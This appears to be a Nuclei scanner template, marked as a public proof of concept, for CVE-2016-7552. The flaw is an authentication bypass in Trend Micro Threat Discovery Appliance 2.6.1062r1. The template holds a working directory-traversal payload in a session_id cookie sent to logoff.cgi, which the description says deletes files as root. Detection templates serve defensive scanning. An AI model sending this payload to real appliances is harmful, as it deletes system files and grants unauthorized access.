Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
PoC代码[已公开]
id: CVE-2016-7552
info:
name: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass
author: dwisiswant0
severity: critical
description: Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
impact: |
Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the appliance.
remediation: |
Apply the necessary patch or update provided by Trend Micro to fix the authentication bypass vulnerability.
reference:
- https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
- https://nvd.nist.gov/vuln/detail/CVE-2016-7552
- https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-7552
cwe-id: CWE-22
epss-score: 0.92979
epss-percentile: 0.99767
cpe: cpe:2.3:a:trendmicro:threat_discovery_appliance:2.6.1062:r1:*:*:*:*:*:*
metadata:
max-request: 1
vendor: trendmicro
product: threat_discovery_appliance
tags: cve2016,cve,msf,lfi,auth,bypass,trendmicro
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/logoff.cgi"
headers:
Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Memory map"
- type: status
status:
- 200
# digest: 4a0a0047304502205c5f751ef7a7f7822a5bfc20a33233b728d2be0eacbf9b8fde69f4337640b249022100b3bf5c495ec22a2dafbb4b06561b294738f1530d0c82990a4f4f88472465f9fd:922c64590222798bb761d5b6d8e72950